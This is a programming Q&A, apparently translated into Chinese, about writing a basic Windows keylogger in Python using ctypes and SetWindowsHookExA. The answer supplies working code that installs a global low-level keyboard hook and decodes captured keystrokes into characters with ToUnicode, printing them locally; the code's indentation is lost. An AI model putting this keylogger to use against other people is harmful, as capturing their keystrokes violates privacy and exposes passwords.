Python在windows 10上使用WinAPI SetWindowsHookExA

Question

我正在使用windows 10系统的SetWindowsHookExA在python中进行挂钩实验。我有工作代码，它正确地挂接了。但我无法正确地将响应转换为密钥。

我得到了一个12位数的回复，我在文档中没有看到任何关于它或如何转换它的信息。

这段代码可能已经过时了，但如果可能的话，我试图只设置一个基本的键盘记录程序，而不使用PyHook或PyWin32库。

这是我的代码：

import sys
from ctypes import *
from ctypes.wintypes import MSG
from ctypes.wintypes import DWORD
user32 = windll.user32
kernel32 = windll.kernel32
WH_KEYBOARD_LL = 13
WM_KEYDOWN = 0x0100
CTRL_CODE = 162
class KeyLogger:
def __init__(self):
self.lUser32 = user32
self.hooked = None
def installHookProc(self,pointer):
self.hooked = self.lUser32.SetWindowsHookExA(
WH_KEYBOARD_LL,
pointer,
kernel32.GetModuleHandleW(None),
0
)
if not self.hooked:
return False
return True
def uninstalHookProc(self):
if self.hooked is None:
return
self.lUser32.UnhookWindowsHookEx(self.hooked)
self.hooked = None
def getFPTR(fn):
CMPFUNC = CFUNCTYPE(c_int, c_int, c_int, POINTER(c_void_p))
return CMPFUNC(fn)
def hookProc(nCode, wParam, lParam):
if wParam is not WM_KEYDOWN:
return user32.CallNextHookEx(KeyLogger.hooked, nCode, wParam, lParam)
# hookedKey = chr(lParam[0])
# print("HookedKey=" + hookedKey + ", KeyCode=" + str(lParam[0]))
print("Hooked Key: " + str(lParam[0]))
if(CTRL_CODE == int(lParam[0])):
print("Ctrl pressed, call uninstallHook()")
KeyLogger.uninstallHookProc()
sys.exit(-1)
return user32.CallNextHookEx(KeyLogger.hooked, nCode, wParam, lParam)
def startKeyLog():
msg = MSG()
user32.GetMessageA(byref(msg), 0, 0, 0)
KeyLogger = KeyLogger()
pointer = getFPTR(hookProc)
if KeyLogger.installHookProc(pointer):
print("Hook installed")
startKeyLog()

输出如下：

对于钥匙"a"："挂钩钥匙：128849018945"对于钥匙'b'："挂钩钥匙：206158430274"对于钥匙'c'："挂钩钥匙：197568495683">

有没有人帮我解决代码问题？或者我只是不知道如何转换这些值。

感谢

Answer 1

钩子过程通过LPARAM参数发送原始键盘信息。可以将其转换为ASCII字符集，但对于其他字符集，这将失败。

相反，我们必须从LPARAM中获得KBDLLHOOKSTRUCT结构，然后使用ToUnicode将原始键盘输入转换为相应的Unicode字符串。为了清楚起见，您可能需要查看简单的WinAPI示例。

Python示例：

import win32con
import ctypes
from ctypes import *
from ctypes.wintypes import DWORD
user32 = windll.user32
kernel32 = windll.kernel32
class KBDLLHOOKSTRUCT(Structure): _fields_=[
('vkCode',DWORD),
('scanCode',DWORD),
('flags',DWORD),
('time',DWORD),
('dwExtraInfo',DWORD)]
HOOKPROC = WINFUNCTYPE(HRESULT, c_int, ctypes.wintypes.WPARAM, ctypes.wintypes.LPARAM)
class KeyLogger:
def __init__(self):
self.lUser32 = user32
self.hooked = None
def installHookProc(self,pointer):
self.hooked = self.lUser32.SetWindowsHookExA(
win32con.WH_KEYBOARD_LL,
pointer,
kernel32.GetModuleHandleW(None),
0
)
if not self.hooked:
return False
return True
def uninstalHookProc(self):
if self.hooked is None:
return
self.lUser32.UnhookWindowsHookEx(self.hooked)
self.hooked = None
def hookProc(nCode, wParam, lParam):
if user32.GetKeyState(win32con.VK_CONTROL) & 0x8000:
print("nCtrl pressed, call uninstallHook()")
KeyLogger.uninstalHookProc()
return 0
if nCode == win32con.HC_ACTION and wParam == win32con.WM_KEYDOWN:
kb = KBDLLHOOKSTRUCT.from_address(lParam)
user32.GetKeyState(win32con.VK_SHIFT)
user32.GetKeyState(win32con.VK_MENU)
state = (ctypes.c_char * 256)()
user32.GetKeyboardState(byref(state))
str = create_unicode_buffer(8)
n = user32.ToUnicode(kb.vkCode, kb.scanCode, state, str, 8 - 1, 0)
if n > 0:
if kb.vkCode == win32con.VK_RETURN:
print()
else:
print(ctypes.wstring_at(str), end = "", flush = True)
return user32.CallNextHookEx(KeyLogger.hooked, nCode, wParam, lParam)
KeyLogger = KeyLogger()
pointer = HOOKPROC(hookProc)
KeyLogger.installHookProc(pointer)
print("Hook installed")
msg = ctypes.wintypes.MSG()
user32.GetMessageA(byref(msg), 0, 0, 0) #wait for messages